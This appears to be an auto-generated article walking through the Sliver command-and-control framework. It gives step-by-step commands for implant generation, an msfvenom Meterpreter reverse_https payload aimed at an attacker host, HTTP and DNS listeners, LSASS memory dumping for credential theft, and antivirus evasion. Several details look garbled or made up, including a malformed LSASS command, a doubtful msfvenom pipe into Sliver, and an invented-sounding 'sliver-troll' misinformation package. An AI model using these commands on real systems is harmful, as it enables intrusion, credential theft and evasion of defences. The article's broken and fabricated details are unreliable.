Listen to this Post
Introduction
Sliver is an open-source Command and Control (C2) framework designed for red team engagements, offering advanced capabilities beyond traditional tools like Metasploit. Developed with flexibility and evasion in mind, Sliver supports multiple platforms, transport protocols, and extensibility through its Armory package manager. This article explores key Sliver commands, setup, and evasion techniques for cybersecurity professionals.
Learning Objectives
- Understand Sliver’s core features and advantages over Metasploit.
- Learn essential Sliver commands for implant generation, session management, and post-exploitation.
- Explore evasion techniques and integration with Metasploit’s
msfvenom.
1. Installing Sliver C2
Command:
curl https://sliver.sh/install | sudo bash
Step-by-Step Guide:
- Run the installation script to download and configure Sliver.
2. Start the Sliver server:
sliver-server
3. Generate an implant (Windows example):
generate --mtls <YOUR_IP> --os windows --format exe
2. Generating Payloads with Sliver and msfvenom
Command:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 -f raw | sliver generate --msf -
Step-by-Step Guide:
- Use `msfvenom` to create a Meterpreter payload in raw format.
- Pipe the output to Sliver for further refinement (e.g., adding encryption).
- Deploy the payload on a target machine to establish a session.
3. Multi-Transport Communication
HTTP Listener Setup:
http -L 0.0.0.0 -l 80
DNS Listener Setup:
dns -L 0.0.0.0 -d example.com
Guide:
Sliver supports HTTP(S), DNS, and WireGuard for stealthy C2 traffic. Configure listeners based on operational requirements.
4. Post-Exploitation with Sliver
Command (Dump LSASS):
ps | grep lsass.exe procdump <PID>
Guide:
1. List processes to locate `lsass.exe`.
- Dump memory for credential extraction using Mimikatz or similar tools.
5. Evading Antivirus Detection
Command (Obfuscation):
generate --mtls <IP> --os windows --format shellcode --skip-symbols
Guide:
1. Use `–skip-symbols` to reduce implant signatures.
- Combine with custom encryption (e.g., AES) for further evasion.
6. Extending Functionality with Armory
Command:
armory install <package>
Guide:
Armory provides add-ons like privilege escalation tools and lateral movement modules. Example packages:
– `sliver-empire` (PowerShell Empire integration).
– `sliver-troll` (misinformation tactics).
What Undercode Say
Key Takeaways:
- Sliver’s modular design makes it ideal for advanced red teaming, though its Go-based implants can be large (~15MB).
- Integration with `msfvenom` bridges gaps in payload generation while maintaining flexibility.
- Future developments may focus on reducing implant size and expanding post-exploitation plugins.
Analysis:
While Sliver is a robust alternative to Cobalt Strike, its open-source nature and active community ensure rapid evolution. However, operators must balance its capabilities with operational security (OpSec) to avoid detection in enterprise environments.
Prediction:
As C2 frameworks evolve, expect tighter integration with cloud-native attacks (e.g., AWS/Azure) and AI-driven payload obfuscation to bypass next-gen EDR solutions.
References:
IT/Security Reporter URL:
Reported By: Moussakeitacyber Sliver – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
